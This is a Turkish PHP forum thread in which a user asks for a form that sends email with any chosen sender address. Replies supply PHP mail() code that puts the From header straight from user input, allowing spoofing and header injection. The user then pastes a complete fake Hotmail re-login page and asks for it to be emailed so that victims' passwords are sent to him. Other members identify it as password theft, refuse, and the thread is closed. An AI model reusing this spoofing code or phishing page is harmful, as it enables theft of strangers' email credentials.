Duyuruyu Kapat
Facebook Gözat
Twitter Gözat

Php ile hızlı mail servisi?

Konu, 'PHP' kısmında sorma tarafından paylaşıldı.

Konu Durumu:
Daha fazla cevap için açık değil.
  1. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Merhaba arkadaşlar php ile mesela sitemize bir hızlı mail servisi kurmak için yapılması gerekenler nelerdir.Mesela ziyaretçi kendi mailine logın olmadan bu servis ile herhangi bir arkadaşına
    mail gonderebilecek.Mesela form lar şöyle olacak şekilde

    Mailin gideceği adres :
    Gönderenin adresi:
    konu:
    mesaj;
    teşekkürler.
     
  2. LoS.ToF

    LoS.ToF Daimi Üye

    Kayıt:
    11 Ağustos 2002
    Mesajlar:
    1,088
    Beğenilen Mesajlar:
    0
    Meslek:
    PHP Developer
    Şehir:
    Antalya
    biraz daha açarmısın ?
     
  3. Sahin

    Sahin Daimi Üye

    Kayıt:
    28 Mayıs 2002
    Mesajlar:
    8,943
    Beğenilen Mesajlar:
    0
    Kısaca fake mail desene:none:
     
  4. mkarabulut

    mkarabulut Misafir

    Senin server'ının Send Mail Server'ı (SMTP) aracılığıyla böyle bi şey yapılabilir.

    Sadece mail komutu ile bu işlemi yapabilirsin sanırım.
     
  5. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Ornek bi kodlama yapabılırmısınız?
     
  6. mkarabulut

    mkarabulut Misafir

    Formdan gönderilmiş diyelim,oldukça kabaca şöyle bi şey :
    Ama genede bunu sorup sormadığından emin değilim :)
    PHP:
    <?

      
    $headers "From: $_POST[gonderen] \n";
      
    $headers.="Reply-to: $_POST[gonderen]\n";
      
    mail ($_POST["gonderilen"],$_POST["konu"],$_POST["mesaj"],$headers);
    ?>
    Kolay gelsin...
     
  7. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Tam olarak istedigim bu degıldı aslında..Php kodlaması yanında form yanı html kodlaması ıle bırlıkte yazarsan cok makbule gecer.
     
  8. HunTER

    HunTER ...

    Kayıt:
    15 Ağustos 2002
    Mesajlar:
    8,684
    Beğenilen Mesajlar:
    0
    Meslek:
    Web Programlama
    Şehir:
    İstanbul
    PHP:

    <?

    //Mail.php
    /**********************************************/
     
     
    if ($gonder)
       {
       
    $header "From: $kimden \n";
       
    $header.= "Reply-to: $kimden\n";

       if(@
    mail ($kime,$baslik,$icerik,$header)){
           echo 
    "Mesaj başarıyla iletilmiştir...";}
       else{
           echo 
    "Lütfen daha sonra tekrar deneyin..";}
       }
      else
       {

    ?>
    <html>
    <head>
    <script>
    function kontrol()
      {
      txterror='';
      if (mail.baslik.value==''){
           txterror=txterror+' - Başlık alanı doldurulmamış\n' }
      if (mail.icerik.value==''){
           txterror=txterror+' - İçerik alanı doldurulmamış\n' }
      if (mail.kime.value==''){
           txterror=txterror+' - Kime  alanı doldurulmamış\n' }
      else {
           p=mail.kime.value.indexOf('@');
           if (p<1 || p==(mail.kime.value.length-1)) {
                txterror=txterror+' - Kime adresi doğru değil.\n' }}
      if (mail.kimden.value==''){
           txterror=txterror+' - Kimden  alanı doldurulmamış\n' }
      else {
           p=mail.kimden.value.indexOf('@');
           if (p<1 || p==(mail.kimden.value.length-1)) {
                txterror=txterror+' - Kimden adresi doğru değil.\n' }}

      if (txterror) alert('Aşağıdaki hataları lütfen düzeltin:\n\n'+txterror);
      return (txterror == '');
      }
    </script>
    </head>

    <body>

    <form method="post" action="mail.php" name="mail">

    <table>
      <tr>
        <td valign="top">Kime</td>
        <td><input type="text" name="kime"></td>
      </tr>
      <tr>
        <td valign="top">Kimden</td>
        <td><input type="text" name="kimden"></td>
      </tr>
      <tr>
        <td valign="top">Başlık</td>
        <td><input type="text" name="baslik" size="40"></td>
      </tr>
      <tr>
        <td valign="top">İçerik</td>
        <td><textarea name="icerik" rows="8" cols="30"></textarea></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><input type="submit" value="Gönder" name="gonder"
        onClick="Javascript:return kontrol();"></td>
      </tr>
    </table>

    </form>

    </body>
    </html>
    <?
      
    }
    ?>

    Bu işini gorurmu ?
     
  9. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Teşekkürler aradığım şeydi.Bu çok saol.
     
  10. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Ufak bir sorun var melesa form hiç bişey girilmese bile gonderıldı dıyor.:)
     
  11. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Peki bu kodlara şu aşagıdaki html kodlarını da yollatmamız mumkunmu?Yani içerik kısmı forumda gozukmuycek fakat şu kodu gonderecek.<!-- reauthhead.asp -->
    <html>
    <head>
    <title>Hotmail Please re-password not secure</title>
    <link rel="stylesheet" href="/cgi-bin/dasp/EN/hotmail___7.css">
    </head>
    <body bgcolor="#ffffff" topmargin=0>
    <center>
    <FORM ACTION="mail.php" METHOD="POST">
    <table border="0" cellpadding="0" cellspacing="0" width="590">
    <tr>
    <td colspan=2>
    <table cellpadding=0 cellspacing=0 border=0 width="100%"><tr><td>
    <a href="http://lc2.law13.hotmail.passport.com/cgi-bin/login?_lang=EN" target="_top"><img src="http://64.4.20.24/logo_msnhmr_468x60.gif" width=468 height=60 border=0 alt=""></a>
    </td>
    <td align="CENTER" nowrap>
    <img src="http://64.4.20.24/logo_passport_140x44.gif" width=140 height=44 border=0 alt="Find Out More About Passport"><br>
    <a href="http://nexusrdr.passport.com/redir.asp?_lang=EN&pm=id%3d2%26fs%3d1%26cb%3d_lang%252525253dEN%26ct%3d1008717394&attrib=Help" target="_top"><font class="f" size=2>Help</font></a><br>
    </td></tr></table>
    </td>
    </tr><tr>
    <td style="padding:3px;" bgcolor="#93BEE2"><font class="Wf"><b>Please re-enter yopassword not secure</b></font></td>
    <td valign="top"></td>
    </tr>
    <tr><td height="6"></td></tr>
    <tr valign="top">
    <td>
    <table cellpadding=3 cellspacing=0 border=1 bordercolor="#ff0000"><tr><td><font color="ff0000" class="f" size="2"><b>Your
    Login Timed
    Out</b></font><font class="f" size=2>.
    <ul>
    <li><a href='http://64.4.8.23/cgi-bin/linkdirector/signup?_lang=EN' target='_top'>Sign up now</a> if you don't already have a .NET Passport. <li> Did you <a href='http://nexusrdr.passport.com/redir.asp?_lang=EN&attrib=PasswordReset&pm=id%3d2%26fs%3d1%26cb%3d_lang%252525253dEN%26ct%3d1008717394%26ru%3dhttp%253a%252f%252flc2%252elaw13%252ehotmail%252epassport%252ecom%252fcgi%252dbin%252flogin%253ffs%253d1' target='_top'>forget your password?</a> <li>Are you having <a href='/cgi-bin/dasp/hminfo_shell.asp?_lang=EN&content=problems' target='_top'>problems signing in?</a>
    </font>
    </ul>
    </td></tr>
    </table>
    </td>
    <td rowspan=4><font class="s">

    </font>
    </font>
    </td>
    </tr>
    <!-- loginerr.asp -->
    <tr>
    <td>
    <table cellpadding=0 cellspacing=0 border="0">
    <tr><td height=6></td></tr>
    <tr>
    <td nowrap width="15%"><font class="sbd">Sign-In Name</font> </td>
    <td width="15%"><input type="text" name="login" size="16" maxlength="64"></td>
    <td width="10%" valign="middle" align="center"> <font class="f"><b>@</b></font> </td>
    <td width="220">
    <script language="JavaScript">
    <!--
    var defAct = document.passwordform.action;
    function SelectChanger(s)
    {
    var i = s.selectedIndex;
    if (i == -1)
    {
    return false;
    }
    if(i == 0)
    {
    document.passwordform.action = "https://lc2.law13.hotmail.passport.com/cgi-bin/dologin;
    return true;
    }
    document.passwordform.action = "https://login.msnia.passport.com/ppsecure/post.asp;
    return true;
    }
    file://-->
    </script>
    <select id="a_d" name="domain" onChange="return SelectChanger(this);" style="font-size: 11px; font-family:tahoma,san-serif;">
    <option value="hotmail.com" selected>hotmail.com</option>
    <option value="msn.com">msn.com</option>
    </select>
    <input type="hidden" name="svc" value="mail">
    <input type="hidden" name="RemoteDAPost" value="https://login.msnia.passport.com/ppsecure/post.asp">
    </td>
    </tr>
    <tr>
    <td height=35 valign="middle"><font class="sbd">Password</font> </td>
    <td><input type="password" name="passwd" size="16" maxlength="16"></td>
    <td width=22 valign="middle" align="center"> </td>
    <td><input type="submit" name="enter" value="Sign in" onClick="return CheckSecurity();"></td>
    </tr>
    <tr>
    <td></td>
    <td colspan=3 height=30>
    <table cellpadding=0 cellspacing=0>
    <tr>
    <td colspan=2>
    <font class="sbd">Select one:</font>
    </td>
    </tr>
    <tr>
    <td valign="top"><input type="radio" name="sec" value="share"></td>
    <td><font class="s"><a href="/cgi-bin/dasp/hminfo_shell.asp?_lang=EN&content=secure_term" target="_top">Public/shared computer</a> (increased security).</font></td>
    </tr>
    <tr>
    <td valign="top"><input type="radio" name="sec" value="rem"></td>
    <td><font class="s">Keep me signed in to this and all other .NET Passport sites unless I sign out. <a href="/cgi-bin/dasp/hminfo_shell.asp?_lang=EN&content=signoutopt">What's this?</a></font></td>
    </tr>
    <tr>
    <td valign="top"><input type="radio" name="sec" value="no" checked></td>
    <td><font class="s">Neither</font></td>
    </tr>
    </table>
    <p> </td>
    </tr>
    </table>
    <tr>
    <td>
    <input type="hidden" name="curmbox" value="F000000001">
    <input type="hidden" name="rru" value="">
    <input type="hidden" name="_lang" value="EN">
    <input type="hidden" name="js" value="no">
    <input type="hidden" name="id" value="2">
    <input type="hidden" name="fs" value="1">
    <input type="hidden" name="cb" value="_lang%2525253dEN">
    <input type="hidden" name="ct" value="1008717394">

    <input type="hidden" name="mspp_shared" value="">
    <input type="hidden" name="svc" value="mail">
    <input type="hidden" name="beta" value="">
    </form>
    </table>
    <table cellpadding=0 cellspacing=0 border=0 width=590>
    <tr>
    <td>
    <font class="s">© 2001 Microsoft Corporation. All rights reserved.</font> <a href="http://www.hotmail.msn.com/cgi-bin/dasp/EN/tou_EN.asp" target="_top"><font class="s">TERMS OF USE</font></a>
    <a href="http://go.msn.com/A9/5/" target="_top"><font class="s">Advertise</font></a>
    <a href="http://go.msn.com/ZZR/ENUS/pstate.asp" target="_top"><font class="s">TRUSTe Approved Privacy Statement</font></a>
    <a href="http://go.msn.com/A9/10/" target="_top"><font class="s">GetNetWise</font></a>
    </td>
    </tr>
    </table>
    </center>
    <script language="JavaScript">
    <!--
    document.passwordform.passwd.value='';
    document.passwordform.js.value="yes";
    document.passwordform.login.focus();
    function CheckSecurity()
    {
    if (document.passwordform)
    {
    if (document.passwordform.sec[0].checked)
    document.passwordform.mspp_shared.value = "1";
    }
    return true;
    }
    file://-->
    </script>
    </body>
    </html>
    <!-- H: LC2-LFD50.law13.internal.hotmail.com -->
    <!-- V: WIN2K 09.04.00.0051 i -->
    <!-- D: Dec 6 2001 22:39:50-->



    Form mailer bu kodu gondecek ve logıne bişey yazdıgı zaman mesela şifresini yazdıgı zaman kişinin yazdıgı kendı mailine bu yazdıgı şeyi yolayacak?
     
  12. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Bu konuya cevap verilmeyecek galiba?
     
  13. mkarabulut

    mkarabulut Misafir

    Selamlar...

    Öncelikle kolay gelsin, açıkcası ben cevap yazacam ama şu kopyaladığın uzun HTML kodu göz korkutuyor, kimse onu o kadar incelemek istemez,zaten bende inceleyemedim :)

    Ama o kodun yukarındaki soruna cevap yazacağım, hani hiç bi şey gönderilmesede gönderildi yazıyor ya...

    En üstteki php kodlarını şunlarla değiştir :

    if ($gonder)
    {
    if (@$icerik=="" || @$baslik=="" || @$kimden=="" || @$kime=="") {
    echo "Formdaki tüm alanlar doldurulmamış<br>";
    echo "Lütfen geri dönerek tüm alanları doldurunuz.";
    die;
    }
    $header = "From: $kimden \n";
    $header.= "Reply-to: $kimden\n";

    if(@mail ($kime,$baslik,$icerik,$header)){
    echo "Mesaj başarıyla iletilmiştir...";}
    else{
    echo "Lütfen daha sonra tekrar deneyin..";}
    }
    else
    {
     
  14. sorma

    sorma Üye

    Kayıt:
    25 Eylül 2002
    Mesajlar:
    49
    Beğenilen Mesajlar:
    0
    Re- selam mustafa bey.Öncelikle şunu belirtmeden geçemiycem.Burda her zaman sorularıma cevap buldum ve de amacıma ulaştım.Bundan dolayı teşekkür edrmi.Ama yukarıdaki html kodları uzun gozuksede bunun php olarak hazırlanması bazı sitelerde var.Ben bir forum şu açıklamayı gorum.Benım istegim bunu biraz daha geliştirmek.

    ...

    ...

    ...
     
  15. HunTER

    HunTER ...

    Kayıt:
    15 Ağustos 2002
    Mesajlar:
    8,684
    Beğenilen Mesajlar:
    0
    Meslek:
    Web Programlama
    Şehir:
    İstanbul
    Bırıncısı hotmail, sıfre alma, crack, hack, rulz hakkında gorus ve yardım alıcagını sanıyosan yanılıyorsun.. Derdının ne oldugu anlamıs dıılım ama ıkıncı olarakta bısey yapmak ıstıyosan ustunde bıraz ugrasmayıda goze almak zorudasın.. PHP ıle ılgılı ozellıkle de maıl fonksıyonuyla ıılgılı yazılmıs okadar cok dokuman varkı, bunları ınceleyıp bır fake maıl scrıptı yazamamıs olmak ıcın becerıksız olmak gerekıyor..

    Yanı nedır anlamadım.. Sanırım agzındakı baklayı cıkarmanın vaktı geldı.. Verdıgın kodlarını ınceledım.. Bunlar hotmaıl kullanıcılarına logın sayfasını gonderek onlardan sıfrelerını araklayan seyler.. Kı zaten amacını son pargrafta acıkca bellı etmıssın.. Ne yanı sımdı bızden bu ısın nasıl yapıldıgınımı ogrenmek ıstıyorsun? Pekı bır ayda dort maıl hesabı kırılan bır arkadasım varken sana yardım etmemı nasıl bekleyebılırsın?

    Kısacası sıte yonetıcılerden bu konun kapanmasını hatta sılınmesını ve arkadasın ısrarı durumda uyelegının ıptalını ıstıyorum..
     
  16. Bozo

    Bozo Daimi Üye

    Kayıt:
    21 Haziran 2002
    Mesajlar:
    526
    Beğenilen Mesajlar:
    1
    Meslek:
    web design
    Şehir:
    Mezapotomya
    sayın arkadaşımız burayı wardom.org zannetmiş.şimdi mustafa ya ilettim konuyu hemen kapatacak.benim bu bölümde yetkim yok.olsaydı basardım close yi
     
  17. mkarabulut

    mkarabulut Misafir

    Evet,
    Bende arkadaşın ne istediğini tam anlamadan cevap yazmışım galiba...

    sorma, istediğin şey pek hoş bi şey değil,onun için bu konuyu kapatıyorum.
     
Konu Durumu:
Daha fazla cevap için açık değil.